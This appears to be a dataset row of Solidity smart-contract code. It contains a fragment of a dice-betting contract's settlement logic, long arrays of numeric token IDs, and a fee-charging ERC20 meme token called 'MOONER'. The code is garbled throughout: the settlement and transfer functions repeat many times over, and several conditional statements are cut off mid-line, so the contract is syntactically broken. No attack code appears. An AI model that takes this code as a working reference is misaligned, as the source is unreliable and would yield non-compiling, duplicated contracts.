Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; uint outcome = randomNumber % modulo; uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); uint rollReward = getRollReward(amount, modulo, rollUnder); uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } bet.winAmount = winAmount; bet.outcome = outcome; if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); houseProfit += int(amount); miner.addReward(gambler, rollReward); } } lockedInBets -= possibleWinAmount; bet.isSettled = true; function settleBet(bytes32 requestId, uint randomNumber) internal nonReentrant { uint betId = betMap[requestId]; Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address gambler = bet.gambler; uint outcome = randomNumber % modulo; uint possibleWinAmount = getWinAmount(amount, modulo, rollUnder); uint rollReward = getRollReward(amount, modulo, rollUnder); uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; rollReward = 0; } if (outcome < rollUnder) { winAmount = possibleWinAmount; rollReward = 0; } } bet.winAmount = winAmount; bet.outcome = outcome; if (winAmount > 0) { houseProfit -= int(winAmount - amount); IERC20(GAME_TOKEN).safeTransfer(address(gambler), winAmount); houseProfit += int(amount); miner.addReward(gambler, rollReward); } } } else { emit BetSettled(betId, gambler, amount, uint8(modulo), uint8(rollUnder), bet.mask, outcome, winAmount, rollReward); function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require(withdrawAmount <= IERC20(GAME_TOKEN).balanceOf(address(this)) - lockedInBets, "Withdrawal exceeds limit"); IERC20(GAME_TOKEN).safeTransfer(beneficiary, withdrawAmount); } function withdrawLink() external onlyOwner { IERC20(LINK_TOKEN).safeTransfer(owner(), IERC20(LINK_TOKEN).balanceOf(address(this))); } function refundBet(uint betId) external nonReentrant { Bet storage bet = bets[betId]; uint amount = bet.amount; require(amount > 0, "Bet does not exist"); require(bet.isSettled == false, "Bet is settled already"); require(block.number > bet.placeBlockNumber + 21600, "Wait before requesting refund"); uint possibleWinAmount = getWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= possibleWinAmount; bet.isSettled = true; bet.winAmount = amount; IERC20(GAME_TOKEN).safeTransfer(address(bet.gambler), amount); emit BetRefunded(betId, bet.gambler, amount); } }
5,436,674
[ 1, 19, 6164, 6835, 716, 314, 1643, 2387, 2492, 1131, 310, 471, 1278, 29084, 1656, 281, 3155, 358, 506, 1399, 316, 333, 7920, 6835, 7824, 1232, 776, 12918, 3746, 1472, 8315, 2701, 353, 11140, 853, 329, 2130, 10853, 3143, 261, 21, 9, 13, 316, 18552, 434, 326, 23867, 3431, 26478, 353, 326, 1300, 434, 1298, 625, 303, 70, 429, 29867, 316, 279, 7920, 30, 225, 576, 364, 13170, 9668, 225, 1666, 364, 302, 1812, 5824, 225, 6580, 364, 1645, 302, 1812, 5824, 225, 18091, 364, 721, 332, 7637, 225, 2130, 364, 7573, 2693, 3431, 332, 538, 5712, 4552, 67, 11704, 67, 6720, 57, 1502, 854, 5950, 5314, 279, 2831, 3066, 16, 15632, 2701, 1787, 603, 2923, 29867, 18, 2457, 3454, 316, 279, 302, 1812, 5824, 261, 1711, 12854, 273, 1666, 3631, 374, 2787, 21, 3066, 4696, 2701, 1787, 603, 404, 18, 374, 2787, 21, 5970, 628, 3112, 358, 6970, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 18394, 2693, 24194, 353, 776, 12918, 5869, 2171, 16, 14223, 6914, 16, 868, 8230, 12514, 16709, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 467, 2930, 264, 1071, 1131, 264, 31, 203, 203, 565, 1758, 1071, 5381, 611, 1642, 67, 8412, 273, 374, 14626, 9470, 73, 10261, 69, 5082, 25, 70, 20, 29634, 40, 8148, 41, 23728, 37, 4033, 8148, 69, 20, 37, 20, 7301, 42, 30454, 40, 22, 72, 26, 31, 203, 203, 565, 1758, 1071, 5381, 22926, 67, 8412, 273, 374, 6114, 20, 6675, 6669, 5292, 71, 6564, 25, 3028, 25, 69, 42, 71, 4700, 8955, 3462, 73, 39, 27, 37, 25, 1578, 41, 23, 22343, 41, 20, 42, 21, 31, 203, 565, 1758, 1071, 5381, 776, 12918, 67, 27237, 21329, 3575, 273, 374, 92, 23, 72, 4366, 9803, 1880, 70, 22, 40, 6938, 74, 21, 71, 2539, 5082, 71, 5528, 26, 3787, 24171, 1727, 5540, 23, 29882, 16985, 20, 31, 203, 565, 1731, 1578, 1071, 498, 2310, 273, 374, 5841, 5292, 31677, 8522, 6669, 9349, 71, 2539, 29, 8642, 70, 22, 70, 26, 2499, 73, 9897, 27, 5026, 23, 69, 26, 74, 1105, 29, 70, 1403, 10392, 27, 1611, 952, 6564, 22, 74, 20, 4313, 29, 73, 22, 71, 6564, 29, 2414, 31, 203, 565, 2254, 943, 17631, 1060, 273, 576, 2787, 225, 2437, 31, 203, 203, 565, 2254, 1071, 23867, 6098, 30573, 273, 2130, 31, 203, 203, 565, 2254, 5381, 4552, 67, 6720, 57, 1502, 273, 2130, 31, 203, 203, 2 ]
./partial_match/1/0x3AcBad7607B268FdD19103995e75adaca1ce178a/sources/MOONER.sol
Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract MOONER is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public charityWallet; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = true; bool public swapEnabled = true; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyCharityFee; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellCharityFee; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForCharity; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Mooner", "MOONER") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyCharityFee = 0; uint256 _buyMarketingFee = 10; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 12; uint256 _sellCharityFee = 0; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 12; uint256 totalSupply = 69000000000 * 1e18; buyCharityFee = _buyCharityFee; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyCharityFee + buyMarketingFee + buyLiquidityFee + buyDevFee; sellCharityFee = _sellCharityFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellCharityFee + sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply); } receive() external payable {} function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.5%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _charityFee, uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { require((_charityFee + _marketingFee + _liquidityFee + _devFee) <= 10, "Max BuyFee 10%"); buyCharityFee = _charityFee; buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyCharityFee + buyMarketingFee + buyLiquidityFee + buyDevFee; } function updateSellFees( uint256 _charityFee, uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { require((_charityFee + _marketingFee + _liquidityFee + _devFee) <= 10, "Max SellFee 10%"); sellCharityFee = _charityFee; sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellCharityFee + sellMarketingFee + sellLiquidityFee + sellDevFee; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForCharity += (fees * sellCharityFee) / sellTotalFees; tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForCharity += (fees * buyCharityFee) / buyTotalFees; tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } if ( function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { 